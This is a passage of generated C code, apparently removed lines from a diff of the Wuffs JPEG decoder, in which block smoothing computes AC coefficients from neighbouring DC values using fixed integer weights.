wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -- v_scratch *= v_q_00; -- if (v_scratch < 2147483648u) { -- v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } else { -- v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -- } -- self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); -- } -- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); -- if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { -- v_scratch = 0u; -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -- v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -- v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -- v_scratch += ((uint32_t)(4294967295u * 